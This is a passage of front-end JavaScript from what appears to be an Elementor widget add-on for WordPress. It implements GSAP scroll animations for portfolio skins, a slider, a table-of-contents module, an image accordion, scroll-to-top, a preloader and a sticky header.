}\r\n                }\r\n\r\n                if ('skin-portfolio-eight' === animationSettings['skin']) {\r\n                    animate_portfolio_content_eight($scope, animationSettings);\r\n                }\r\n\r\n            };\r\n            const animate_portfolio_content_three = function ($scope, animationSettings) {\r\n\r\n                const section_title = $('.section-title', $scope)\r\n\r\n                //add the pre styles\r\n                $('.item', $scope).css({\r\n                    'scale': 0.5,\r\n                    'opacity': 0,\r\n                    '-webkit-transform': 'perspective(4000px) rotateX(90deg)',\r\n                    'transform': 'perspective(4000px) rotateX(90deg)',\r\n                })\r\n\r\n                let portfolioline = gsap.timeline({\r\n                    scrollTrigger: {\r\n                        trigger: $scope,\r\n                        start: animationSettings['pin_area_start'],\r\n                        pin: section_title,\r\n                        end: animationSettings['pin_area_end'],\r\n                        markers: false,\r\n                        pinSpacing: false,\r\n                        scrub: 1,\r\n                    }\r\n                })\r\n\r\n                portfolioline.to(section_title, {\r\n                    scale: 3,\r\n                    duration: 1\r\n                })\r\n\r\n                portfolioline.to(section_title, {\r\n                    scale: 1,\r\n                    duration: 1\r\n                }, \"+=2\")\r\n\r\n\r\n                $('.item', $scope).each((index, portfolio) => {\r\n\r\n                    gsap.set(portfolio, {opacity: 0.7})\r\n                    let t1 = gsap.timeline()\r\n\r\n                    t1.set(portfolio, {\r\n                        position: \"relative\",\r\n                    })\r\n                    t1.to(portfolio, {\r\n                        scrollTrigger: {\r\n                            trigger: portfolio,\r\n                            scrub: 2,\r\n                            duration: 1.5,\r\n                            start: \"top bottom+=100\",\r\n                            end: \"bottom center\",\r\n                            markers: false\r\n                        },\r\n                        scale: 1,\r\n                        opacity: 1,\r\n                        rotateX: 0,\r\n                    })\r\n                });\r\n            };\r\n            const animate_portfolio_content_four = function ($scope, animationSettings = []) {\r\n\r\n                let skewSetter = gsap.quickTo($('.thumb img', $scope), \"skewY\"),\r\n                    clamp = gsap.utils.clamp(-15, 15);\r\n\r\n                const smoother = ScrollSmoother.create({\r\n                    smooth: 1.35,\r\n                    smoothTouch: false,\r\n                    normalizeScroll: false,\r\n                    ignoreMobileResize: true,\r\n                    onUpdate: self => skewSetter(clamp(self.getVelocity() / -80)),\r\n                    onStop: () => skewSetter(0)\r\n                });\r\n            };\r\n            const animate_portfolio_content_five = function ($scope) {\r\n\r\n                $.fn.wcf_tilt = function (options) {\r\n                    this.settings = $.extend({\r\n                        maxTilt: 20,\r\n                        perspective: 1000,   // Transform perspective, the lower the more extreme the tilt gets.\r\n                        easing: \"cubic-bezier(.03,.98,.52,.99)\",    // Easing on enter/exit.\r\n                        scale: 1,      // 2 = 200%, 1.5 = 150%, etc..\r\n                        speed: 3000,    // Speed of the enter/exit transition.\r\n                        reset: true,   // If the tilt effect has to be reset on exit.\r\n                    }, options);\r\n\r\n                    $(this).css({transition: `all ${this.settings.speed}ms ${this.settings.easing}`});\r\n\r\n                    $(this).each((index, item) => {\r\n\r\n                        $(item).mousemove((e) => {\r\n                            let cx = window.innerWidth / 2;\r\n                            let cy = window.innerHeight / 2;\r\n\r\n                            let dx = e.clientX - cx;\r\n                            let dy = e.clientY - cy;\r\n\r\n                            let tiltx = (dy / cy) * this.settings.maxTilt;\r\n                            let tilty = -(dx / cx) * this.settings.maxTilt;\r\n\r\n                            $(item).css({transform: `perspective(${this.settings.perspective}px) rotateX(${tiltx}deg) rotateY(${tilty}deg) scale3d(${this.settings.scale},${this.settings.scale},${this.settings.scale})`})\r\n                        })\r\n\r\n                        if (this.settings.reset) {\r\n                            $(item).mouseleave((e) => {\r\n                                $(item).css({transform: ''})\r\n                            })\r\n                        }\r\n                    })\r\n                }\r\n\r\n                $('.item', $scope).wcf_tilt();\r\n            };\r\n            const animate_portfolio_content_eight = function ($scope, animationSettings) {\r\n\r\n                let slider = $(\".slider_items\", $scope);\r\n\r\n                if (slider) {\r\n                    document.querySelector(\".slider_items\").style.display = 'none';\r\n                    let cols = 1;\r\n                    if ($(window).width() > 767) {\r\n                        cols = 3;\r\n                    }\r\n                    //not working properly\r\n                    // console.log(device_width)\r\n\r\n                    const main = document.getElementById(\"main-\" + animationSettings['skin']);\r\n                    let parts = [];\r\n\r\n                    var slide_item = $('.slide_item', $scope)\r\n\r\n                    let current = 0;\r\n                    let playing = false;\r\n\r\n                    for (let col = 0; col < cols; col++) {\r\n                        let part = document.createElement(\"div\");\r\n                        part.className = \"part\";\r\n                        let el = document.createElement(\"a\");\r\n                        el.className = \"section\";\r\n                        el.href = $(slide_item[current]).find('a').attr('href');\r\n\r\n                        el.innerHTML = slide_item[current].innerHTML;\r\n\r\n                        part.style.setProperty(\"--x\", -100 * col + \"%\");\r\n                        part.style.setProperty(\"--image-width\", $(main).width() + 'px');\r\n                        part.appendChild(el);\r\n                        main.appendChild(part);\r\n                        parts.push(part);\r\n                    }\r\n\r\n\r\n                    // Rollover UP & Down Mouse Wheel Navigation\r\n                    let animOptions = {\r\n                        duration: 2.3,\r\n                        ease: Power4.easeInOut\r\n                    };\r\n\r\n                    function go(dir) {\r\n                        if (!playing) {\r\n                            playing = true;\r\n                            if (current + dir < 0) current = slide_item.length - 1;\r\n                            else if (current + dir >= slide_item.length) current = 0;\r\n                            else current += dir;\r\n\r\n                            function up(part, next) {\r\n                                part.appendChild(next);\r\n                                gsap\r\n                                    .to(part, {...animOptions, y: -window.innerHeight})\r\n                                    .then(function () {\r\n                                        part.children[0].remove();\r\n                                        gsap.to(part, {duration: 0, y: 0});\r\n                                    });\r\n                            }\r\n\r\n                            function down(part, next) {\r\n                                part.prepend(next);\r\n                                gsap.to(part, {duration: 0, y: -window.innerHeight});\r\n                                gsap.to(part, {...animOptions, y: 0}).then(function () {\r\n                                    part.children[1].remove();\r\n                                    playing = false;\r\n                                });\r\n                            }\r\n\r\n                            for (let p in parts) {\r\n                                let part = parts[p];\r\n\r\n                                let next = document.createElement(\"a\");\r\n                                next.href = $(slide_item[current]).find('a').attr('href');\r\n                                next.className = \"section\";\r\n\r\n                                next.innerHTML = slide_item[current].innerHTML;\r\n\r\n                                if ((p - Math.max(0, dir)) % 2) {\r\n                                    down(part, next);\r\n                                } else {\r\n                                    up(part, next);\r\n                                }\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    //Mouse Wheel Scroll Transition\r\n                    let scrollTimeout;\r\n\r\n                    function wheel(e) {\r\n                        clearTimeout(scrollTimeout);\r\n                        setTimeout(function () {\r\n                            if (e.deltaY < -40) {\r\n                                go(-1);\r\n                            } else if (e.deltaY >= 40) {\r\n                                go(1);\r\n                            }\r\n                        });\r\n                    }\r\n\r\n                    window.addEventListener(\"mousewheel\", wheel, false);\r\n                    window.addEventListener(\"wheel\", wheel, false);\r\n\r\n                    let alls = document.querySelectorAll(`#main-${animationSettings['skin']} .part`);\r\n                    alls[0].classList.add('showed');\r\n                }\r\n\r\n            };\r\n\r\n            const advance_portfolio_skin = elementorFrontend.hooks.applyFilters('wcf/widgets/a-portfolio', [\r\n                'skin-portfolio-three',\r\n                'skin-portfolio-four',\r\n                'skin-portfolio-five',\r\n                'skin-portfolio-eight',\r\n            ]);\r\n            for (const $skin of advance_portfolio_skin) {\r\n                elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--a-portfolio.${$skin}`, advance_portfolio);\r\n            }\r\n\r\n            const advance_portfolio_nine = function ($scope) {\r\n                let items = $('.item', $scope);\r\n\r\n                let total = items.length\r\n                if (total < 10) {\r\n                    total = '0' + total\r\n                }\r\n                $('.total', $scope).html(total)\r\n\r\n                gsap.timeline({\r\n                    scrollTrigger: {\r\n                        trigger: $scope,\r\n                        start: \"top top\",\r\n                        end: \"bottom bottom\",\r\n                        pin: $('.widget_header', $scope),\r\n                        pinSpacing: false,\r\n                        scrub: true,\r\n                        markers: false\r\n                    }\r\n                });\r\n\r\n                items.each((i, item) => {\r\n                    ScrollTrigger.create({\r\n                        trigger: item,\r\n                        start: \"top center\",\r\n                        end: \"bottom center\",\r\n                        markers: false,\r\n                        onToggle: self => {\r\n                            if (self.isActive) {\r\n                                $('.current', $scope).html(i + 1);\r\n                            }\r\n                        }\r\n                    });\r\n                })\r\n            };\r\n            elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--a-portfolio.skin-portfolio-nine`, advance_portfolio_nine);\r\n        }\r\n\r\n        //slider\r\n        elementorFrontend.hooks.addFilter('wcf/widgets/slider', function (el) {\r\n            const new_slider = {\r\n                'a-portfolio': [\r\n                    \"skin-portfolio-one\",\r\n                    \"skin-portfolio-two\",\r\n                    \"skin-portfolio-six\",\r\n                    \"skin-portfolio-seven\"\r\n                ]\r\n            }\r\n            return Object.assign({}, el, new_slider);\r\n        })\r\n\r\n        //Toggle Switcher\r\n        const toggle_switcher = function ($scope) {\r\n            const checked = $(\"input\",  $scope);\r\n            const toggle_pane = $(\".toggle-pane\",  $scope);\r\n            const toggle_label = $(\".before_label, .after_label\",  $scope);\r\n\r\n            checked.change(function () {\r\n                toggle_pane.toggleClass('show');\r\n                toggle_label.toggleClass('active');\r\n            })\r\n        }\r\n        elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--toggle-switch.default`, toggle_switcher);\r\n\r\n        //filterable Gallery\r\n        const filter_gallery = function ($scope) {\r\n            const mixitUp = $('.gallery-wrapper', $scope)\r\n            if (mixitUp.length) {\r\n                mixitup(mixitUp);\r\n            }\r\n\r\n            //popup\r\n            $('.gallery-item', $scope).magnificPopup({\r\n                type: 'iframe'\r\n            });\r\n        }\r\n        elementorFrontend.hooks.addAction(`frontend/element_ready/wcf--filterable-gallery.default`, filter_gallery);\r\n\r\n        //wrapper Link\r\n        const wrapper_link = function ( $scope ) {\r\n            const attr = $scope.data('wcf-wrapper-link');\r\n\r\n            if ( undefined === attr){\r\n                return\r\n            }\r\n\r\n            $scope.on('click', function (){\r\n                let anchor = document.createElement('a')\r\n                $(anchor).attr(attr);\r\n                anchor.click();\r\n            });\r\n        };\r\n        elementorFrontend.hooks.addAction('frontend/element_ready/container', wrapper_link);\r\n\r\n        //table of content\r\n        const table_of_content = Modules.extend({\r\n            getDefaultSettings: function getDefaultSettings() {\r\n                const elementSettings = this.getElementSettings(),\r\n                    listWrapperTag = 'numbers' === elementSettings.marker_view ? 'ol' : 'ul';\r\n                return {\r\n                    selectors: {\r\n                        widgetContainer: '.elementor-widget-container',\r\n                        postContentContainer: '.elementor:not([data-elementor-type=\"header\"]):not([data-elementor-type=\"footer\"]):not([data-elementor-type=\"popup\"])',\r\n                        expandButton: '.toc__toggle-button--expand',\r\n                        collapseButton: '.toc__toggle-button--collapse',\r\n                        body: '.toc__body',\r\n                        headerTitle: '.toc__header-title'\r\n                    },\r\n                    classes: {\r\n                        anchor: 'elementor-menu-anchor',\r\n                        listWrapper: 'toc__list-wrapper',\r\n                        listItem: 'toc__list-item',\r\n                        listTextWrapper: 'toc__list-item-text-wrapper',\r\n                        firstLevelListItem: 'toc__top-level',\r\n                        listItemText: 'toc__list-item-text',\r\n                        activeItem: 'elementor-item-active',\r\n                        headingAnchor: 'toc__heading-anchor',\r\n                        collapsed: 'toc--collapsed'\r\n                    },\r\n                    listWrapperTag\r\n                };\r\n            },\r\n            getDefaultElements: function getDefaultElements() {\r\n                const settings = this.getSettings();\r\n                return {\r\n                    $pageContainer: this.getContainer(),\r\n                    $widgetContainer: this.$element.find(settings.selectors.widgetContainer),\r\n                    $expandButton: this.$element.find(settings.selectors.expandButton),\r\n                    $collapseButton: this.$element.find(settings.selectors.collapseButton),\r\n                    $tocBody: this.$element.find(settings.selectors.body),\r\n                    $listItems: this.$element.find('.' + settings.classes.listItem)\r\n                };\r\n            },\r\n            getContainer: function getContainer() {\r\n                const elementSettings = this.getElementSettings();\r\n\r\n                // If there is a custom container defined by the user, use it as the headings-scan container\r\n                if (elementSettings.container) {\r\n                    return jQuery(elementSettings.container);\r\n                }\r\n\r\n                // Get the document wrapper element in which the TOC is located\r\n                const $documentWrapper = this.$element.parents('.elementor');\r\n\r\n                // If the TOC container is a popup, only scan the popup for headings\r\n                if ('popup' === $documentWrapper.attr('data-elementor-type')) {\r\n                    return $documentWrapper;\r\n                }\r\n\r\n                // If the TOC container is anything other than a popup, scan only the post/page content for headings\r\n                const settings = this.getSettings();\r\n                return jQuery(settings.selectors.postContentContainer);\r\n            },\r\n            getHeadings: function () {\r\n                // Get all headings from document by user-selected tags\r\n                const elementSettings = this.getElementSettings(),\r\n                    tags = elementSettings.headings_by_tags.join(','),\r\n                    selectors = this.getSettings('selectors'),\r\n                    excludedSelectors = elementSettings.exclude_headings_by_selector;\r\n                return this.elements.$pageContainer.find(tags).not(selectors.headerTitle).filter((index, heading) => {\r\n                    return !jQuery(heading).closest(excludedSelectors).length; // Handle excluded selectors if there are any\r\n                });\r\n            },\r\n            handleNoHeadingsFound: function () {\r\n                const noHeadingsText = 'No headings were found on this page.';\r\n                return this.elements.$tocBody.html(noHeadingsText);\r\n            },\r\n            getHeadingAnchorLink: function (index, classes) {\r\n                const headingID = this.elements.$headings[index].id,\r\n                    wrapperID = this.elements.$headings[index].closest('.elementor-widget').id;\r\n                let anchorLink = '';\r\n                if (headingID) {\r\n                    anchorLink = headingID;\r\n                } else if (wrapperID) {\r\n                    // If the heading itself has an ID, we don't want to overwrite it\r\n                    anchorLink = wrapperID;\r\n                }\r\n\r\n                // If there is no existing ID, use the heading text to create a semantic ID\r\n                if (headingID || wrapperID) {\r\n                    jQuery(this.elements.$headings[index]).data('hasOwnID', true);\r\n                } else {\r\n                    anchorLink = `${classes.headingAnchor}-${index}`;\r\n                }\r\n                return anchorLink;\r\n            },\r\n            setHeadingsData: function () {\r\n                this.headingsData = [];\r\n                const classes = this.getSettings('classes');\r\n\r\n                // Create an array for simplifying TOC list creation\r\n                this.elements.$headings.each((index, element) => {\r\n                    const anchorLink = this.getHeadingAnchorLink(index, classes);\r\n                    this.headingsData.push({\r\n                        tag: +element.nodeName.slice(1),\r\n                        text: element.textContent,\r\n                        anchorLink\r\n                    });\r\n                });\r\n            },\r\n            addAnchorsBeforeHeadings: function () {\r\n                const classes = this.getSettings('classes');\r\n\r\n                // Add an anchor element right before each TOC heading to create anchors for TOC links\r\n                this.elements.$headings.before(index => {\r\n                    // Check if the heading element itself has an ID, or if it is a widget which includes a main heading element, whether the widget wrapper has an ID\r\n                    if (jQuery(this.elements.$headings[index]).data('hasOwnID')) {\r\n                        return;\r\n                    }\r\n                    return `<span id=\"${classes.headingAnchor}-${index}\" class=\"${classes.anchor} \"></span>`;\r\n                });\r\n            },\r\n            activateItem: function($listItem) {\r\n                const classes = this.getSettings('classes');\r\n                this.deactivateActiveItem($listItem);\r\n                $listItem.addClass(classes.activeItem);\r\n                this.$activeItem = $listItem;\r\n                if (!this.getElementSettings('collapse_subitems')) {\r\n                    return;\r\n                }\r\n                let $activeList;\r\n                if ($listItem.hasClass(classes.firstLevelListItem)) {\r\n                    $activeList = $listItem.parent().next();\r\n                } else {\r\n                    $activeList = $listItem.parents('.' + classes.listWrapper).eq(-2);\r\n                }\r\n                if (!$activeList.length) {\r\n                    delete this.$activeList;\r\n                    return;\r\n                }\r\n                this.$activeList = $activeList;\r\n                this.$activeList.stop().slideDown();\r\n            },\r\n            deactivateActiveItem: function($activeToBe) {\r\n                if (!this.$activeItem || this.$activeItem.is($activeToBe)) {\r\n                    return;\r\n                }\r\n                const {\r\n                    classes\r\n                } = this.getSettings();\r\n                this.$activeItem.removeClass(classes.activeItem);\r\n                if (this.$activeList && (!$activeToBe || !this.$activeList[0].contains($activeToBe[0]))) {\r\n                    this.$activeList.slideUp();\r\n                }\r\n            },\r\n            followAnchor: function ($element, index) {\r\n                const anchorSelector = $element[0].hash;\r\n                let $anchor;\r\n                try {\r\n                    // `decodeURIComponent` for UTF8 characters in the hash.\r\n                    $anchor = jQuery(decodeURIComponent(anchorSelector));\r\n                } catch (e) {\r\n                    return;\r\n                }\r\n\r\n                elementorFrontend.waypoint($anchor, direction => {\r\n                    if (this.itemClicked) {\r\n                        return;\r\n                    }\r\n                    const id = $anchor.attr('id');\r\n                    if ('down' === direction) {\r\n                        this.viewportItems[id] = true;\r\n                        this.activateItem($element);\r\n                    } else {\r\n                        delete this.viewportItems[id];\r\n                        this.activateItem(this.$listItemTexts.eq(index - 1));\r\n                    }\r\n                }, {\r\n                    offset: 'bottom-in-view',\r\n                    triggerOnce: false\r\n                });\r\n                elementorFrontend.waypoint($anchor, direction => {\r\n                    if (this.itemClicked) {\r\n                        return;\r\n                    }\r\n                    const id = $anchor.attr('id');\r\n                    if ('down' === direction) {\r\n                        delete this.viewportItems[id];\r\n                        if (Object.keys(this.viewportItems).length) {\r\n                            this.activateItem(this.$listItemTexts.eq(index + 1));\r\n                        }\r\n                    } else {\r\n                        this.viewportItems[id] = true;\r\n                        this.activateItem($element);\r\n                    }\r\n                }, {\r\n                    offset: 0,\r\n                    triggerOnce: false\r\n                });\r\n            },\r\n            followAnchors: function () {\r\n                this.$listItemTexts.each((index, element) => this.followAnchor(jQuery(element), index));\r\n            },\r\n            populateTOC: function () {\r\n                this.listItemPointer = 0;\r\n                const elementSettings = this.getElementSettings();\r\n                if (elementSettings.hierarchical_view) {\r\n                    this.createNestedList();\r\n                } else {\r\n                    this.createFlatList();\r\n                }\r\n                this.$listItemTexts = this.$element.find('.toc__list-item-text');\r\n                this.$listItemTexts.on('click', this.onListItemClick.bind(this));\r\n                if (!elementorFrontend.isEditMode()) {\r\n                    this.followAnchors();\r\n                }\r\n            },\r\n            createNestedList: function () {\r\n                this.headingsData.forEach((heading, index) => {\r\n                    heading.level = 0;\r\n                    for (let i = index - 1; i >= 0; i--) {\r\n                        const currentOrderedItem = this.headingsData[i];\r\n                        if (currentOrderedItem.tag <= heading.tag) {\r\n                            heading.level = currentOrderedItem.level;\r\n                            if (currentOrderedItem.tag < heading.tag) {\r\n                                heading.level++;\r\n                            }\r\n                            break;\r\n                        }\r\n                    }\r\n                });\r\n                this.elements.$tocBody.html(this.getNestedLevel(0));\r\n            },\r\n            createFlatList: function () {\r\n                this.elements.$tocBody.html(this.getNestedLevel());\r\n            },\r\n            getNestedLevel: function (level) {\r\n                const settings = this.getSettings(),\r\n                    elementSettings = this.getElementSettings(),\r\n                    icon = this.getElementSettings('icon');\r\n                let renderedIcon;\r\n                if (icon) {\r\n                    // We generate the icon markup in PHP and make it available via get_frontend_settings(). As a result, the\r\n                    // rendered icon is not available in the editor, so in the editor we use the regular <i> tag.\r\n                    if (elementorFrontend.config.experimentalFeatures.e_font_icon_svg && !elementorFrontend.isEditMode()) {\r\n                        renderedIcon = icon.rendered_tag;\r\n                    } else {\r\n                        renderedIcon = `<i class=\"${icon.value}\"></i>`;\r\n                    }\r\n                }\r\n\r\n                // Open new list/nested list\r\n                let html = `<${settings.listWrapperTag} class=\"${settings.classes.listWrapper}\">`;\r\n\r\n                // For each list item, build its markup.\r\n                while (this.listItemPointer < this.headingsData.length) {\r\n                    const currentItem = this.headingsData[this.listItemPointer];\r\n                    let listItemTextClasses = settings.classes.listItemText;\r\n                    if (0 === currentItem.level) {\r\n                        // If the current list item is a top level item, give it the first level class\r\n                        listItemTextClasses += ' ' + settings.classes.firstLevelListItem;\r\n                    }\r\n                    if (level > currentItem.level) {\r\n                        break;\r\n                    }\r\n                    if (level === currentItem.level) {\r\n                        html += `<li class=\"${settings.classes.listItem}\">`;\r\n                        html += `<div class=\"${settings.classes.listTextWrapper}\">`;\r\n                        let liContent = `<a href=\"#${currentItem.anchorLink}\" class=\"${listItemTextClasses}\">${currentItem.text}</a>`;\r\n\r\n                        // If list type is bullets, add the bullet icon as an <i> tag\r\n                        if ('bullets' === elementSettings.marker_view && icon) {\r\n                            liContent = `${renderedIcon}${liContent}`;\r\n                        }\r\n                        html += liContent;\r\n                        html += '</div>';\r\n                        this.listItemPointer++;\r\n                        const nextItem = this.headingsData[this.listItemPointer];\r\n                        if (nextItem && level < nextItem.level) {\r\n                            // If a new nested list has to be created under the current item,\r\n                            // this entire method is called recursively (outside the while loop, a list wrapper is created)\r\n                            html += this.getNestedLevel(nextItem.level);\r\n                        }\r\n                        html += '</li>';\r\n                    }\r\n                }\r\n                html += `</${settings.listWrapperTag}>`;\r\n                return html;\r\n            },\r\n            run: function run() {\r\n                this.elements.$headings = this.getHeadings();\r\n                if (!this.elements.$headings.length) {\r\n                    return this.handleNoHeadingsFound();\r\n                }\r\n                this.setHeadingsData();\r\n                if (!elementorFrontend.isEditMode()) {\r\n                    this.addAnchorsBeforeHeadings();\r\n                }\r\n                this.populateTOC();\r\n\r\n                if (this.getElementSettings('minimize_box')) {\r\n                    this.collapseBodyListener();\r\n                }\r\n            },\r\n            bindEvents: function bindEvents() {\r\n                this.viewportItems = [];\r\n                this.run();\r\n\r\n                const elementSettings = this.getElementSettings();\r\n                if (elementSettings.minimize_box) {\r\n                    this.elements.$expandButton.on('click', () => this.expandBox()).on('keyup', event => this.triggerClickOnEnterSpace(event));\r\n                    this.elements.$collapseButton.on('click', () => this.collapseBox()).on('keyup', event => this.triggerClickOnEnterSpace(event));\r\n                }\r\n                if (elementSettings.collapse_subitems) {\r\n                    this.elements.$listItems.on('hover', event => jQuery(event.target).slideToggle());\r\n                }\r\n            },\r\n            onListItemClick: function (event) {\r\n                this.itemClicked = true;\r\n                setTimeout(() => this.itemClicked = false, 2000);\r\n                const $clickedItem = jQuery(event.target),\r\n                    $list = $clickedItem.parent().next(),\r\n                    collapseNestedList = this.getElementSettings('collapse_subitems');\r\n                let listIsActive;\r\n                if (collapseNestedList && $clickedItem.hasClass(this.getSettings('classes.firstLevelListItem'))) {\r\n                    if ($list.is(':visible')) {\r\n                        listIsActive = true;\r\n                    }\r\n                }\r\n                this.activateItem($clickedItem);\r\n                if (collapseNestedList && listIsActive) {\r\n                    $list.slideUp();\r\n                }\r\n            },\r\n            expandBox: function () {\r\n                let changeFocus = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;\r\n                const boxHeight = this.getCurrentDeviceSetting('min_height');\r\n                this.$element.removeClass(this.getSettings('classes.collapsed'));\r\n                this.elements.$tocBody.attr('aria-expanded', 'true').slideDown();\r\n\r\n                // Return container to the full height in case a min-height is defined by the user\r\n                this.elements.$widgetContainer.css('min-height', boxHeight.size + boxHeight.unit);\r\n                if (changeFocus) {\r\n                    this.elements.$collapseButton.trigger('focus');\r\n                }\r\n            },\r\n            collapseBox: function () {\r\n                let changeFocus = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;\r\n                this.$element.addClass(this.getSettings('classes.collapsed'));\r\n                this.elements.$tocBody.attr('aria-expanded', 'false').slideUp();\r\n\r\n                // Close container in case a min-height is defined by the user\r\n                this.elements.$widgetContainer.css('min-height', '0px');\r\n                if (changeFocus) {\r\n                    this.elements.$expandButton.trigger('focus');\r\n                }\r\n            },\r\n            triggerClickOnEnterSpace: function (event) {\r\n                const ENTER_KEY = 13,\r\n                    SPACE_KEY = 32;\r\n                if (ENTER_KEY === event.keyCode || SPACE_KEY === event.keyCode) {\r\n                    event.currentTarget.click();\r\n                    event.stopPropagation();\r\n                }\r\n            },\r\n            collapseBodyListener: function () {\r\n                const activeBreakpoints = elementorFrontend.breakpoints.getActiveBreakpointsList({\r\n                    withDesktop: true\r\n                });\r\n                const minimizedOn = this.getElementSettings('minimized_on'),\r\n                    currentDeviceMode = elementorFrontend.getCurrentDeviceMode(),\r\n                    isCollapsed = this.$element.hasClass(this.getSettings('classes.collapsed'));\r\n\r\n                // If minimizedOn value is set to desktop, it applies for widescreen as well.\r\n                if ('desktop' === minimizedOn || activeBreakpoints.indexOf(minimizedOn) >= activeBreakpoints.indexOf(currentDeviceMode)) {\r\n                    if (!isCollapsed) {\r\n                        this.collapseBox(false);\r\n                    }\r\n                } else if (isCollapsed) {\r\n                    this.expandBox(false);\r\n                }\r\n            },\r\n\r\n        });\r\n        elementorFrontend.hooks.addAction('frontend/element_ready/wcf--table-of-contents.default', function ($scope) {\r\n            elementorFrontend.elementsHandler.addHandler(table_of_content, {\r\n                $element: $scope\r\n            });\r\n        });\r\n\r\n        //image accordion\r\n        const image_accordion = Modules.extend({\r\n            run: function run() {\r\n                let expand = this.getElementSettings('expand_style');\r\n                let accordionItems = this.findElement('.accordion-item');\r\n\r\n                accordionItems.each((index, item) => {\r\n                    if ('click' === expand) {\r\n                        item.addEventListener('click', () => {\r\n                            this.openAccordion(index, item, accordionItems)\r\n                        });\r\n                    } else {\r\n                        //hover\r\n                        $(item).mouseenter(() => {\r\n                            this.openAccordion(index, item, accordionItems)\r\n                        });\r\n\r\n                        $(item).mouseleave(() => {\r\n                            item.classList.remove('accordion-hover-active')\r\n                        });\r\n                    }\r\n                })\r\n            },\r\n            bindEvents: function bindEvents() {\r\n                this.run();\r\n            },\r\n\r\n            openAccordion: function (index, item, accordionItems) {\r\n                accordionItems.each((i, single) => {\r\n                    if (single === item) {\r\n                        single.classList.add('accordion-hover-active')\r\n                    } else {\r\n                        single.classList.remove('accordion-hover-active')\r\n                    }\r\n                });\r\n            }\r\n\r\n        });\r\n        elementorFrontend.hooks.addAction('frontend/element_ready/wcf--imag-accordion.default', function ($scope) {\r\n            elementorFrontend.elementsHandler.addHandler(image_accordion, {\r\n                $element: $scope\r\n            });\r\n        });\r\n\r\n    });\r\n\r\n    //need to run all the page not depending on elementorFrontend\r\n    //scroll to Top\r\n    const scrollToTop = function () {\r\n        const cursor = $('.wcf-scroll-to-top');\r\n\r\n        if (cursor.length) {\r\n            if (cursor.hasClass('scroll-to-circle')) {\r\n                let progressPath = document.querySelector('.wcf-scroll-to-top .progress-circle path');\r\n                let pathLength = progressPath.getTotalLength();\r\n                progressPath.style.transition = progressPath.style.WebkitTransition = 'none';\r\n                progressPath.style.strokeDasharray = pathLength + ' ' + pathLength;\r\n                progressPath.style.strokeDashoffset = pathLength;\r\n                progressPath.getBoundingClientRect();\r\n                progressPath.style.transition = progressPath.style.WebkitTransition = 'stroke-dashoffset 10ms linear';\r\n                let updateProgress = function () {\r\n                    let scroll = $(window).scrollTop();\r\n                    let height = $(document).height() - $(window).height();\r\n                    let progress = pathLength - (scroll * pathLength / height);\r\n                    progressPath.style.strokeDashoffset = progress;\r\n                }\r\n                updateProgress();\r\n                $(window).scroll(updateProgress);\r\n            }\r\n\r\n            $(window).scroll(function () {\r\n                if ($(this).scrollTop() > 100) {\r\n                    cursor.addClass('show-scroll-to-top');\r\n                } else {\r\n                    cursor.removeClass('show-scroll-to-top');\r\n                }\r\n            });\r\n\r\n            cursor.on('click', function () {\r\n                window.scrollTo({\r\n                    top: 0,\r\n                    behavior: \"smooth\"\r\n                });\r\n            })\r\n        }\r\n    }\r\n    scrollToTop();\r\n\r\n    //preloader\r\n    const preloader = function () {\r\n        const preloader = $('.wcf-preloader');\r\n        if (!preloader.length) {\r\n            return;\r\n        }\r\n        $(document).ready(function () {\r\n            setTimeout(() => {\r\n                $('body.wcf-preloader-active').removeClass('wcf-preloader-active');\r\n                preloader.remove();\r\n            }, 500)\r\n        });\r\n    }\r\n    preloader();\r\n\r\n    //scroll indicator\r\n    const scrollIndicator = function () {\r\n        if (!$('.wcf-scroll-indicator').length) {\r\n            return;\r\n        }\r\n        const handleScrollIndicator = () => {\r\n            const scrollIndicator = document.querySelector(\".wcf-scroll-indicator .indicator-bar\");\r\n            const maxHeight = document.body.scrollHeight - window.innerHeight;\r\n\r\n            const widthPercentage = (window.scrollY / maxHeight) * 100;\r\n            scrollIndicator.style.width = `${widthPercentage}%`;\r\n        };\r\n        window.addEventListener(\"scroll\", handleScrollIndicator);\r\n        $('.scroll-indicator-top').css('top', adminbar_height)\r\n    }\r\n    scrollIndicator();\r\n\r\n    //Sticky Header\r\n    if ('function' === typeof ScrollSmoother && 'object' === typeof gsap && window.wcf_header_settings) {\r\n        let settings = wcf_header_settings;\r\n        let header = $(`.elementor-${settings.id}`);\r\n        ScrollTrigger.create({\r\n            trigger: \"body\",\r\n            pin: header,\r\n            pinSpacing: false,\r\n            start: \"top top\",\r\n            end: \"bottom bottom\",\r\n        });\r\n    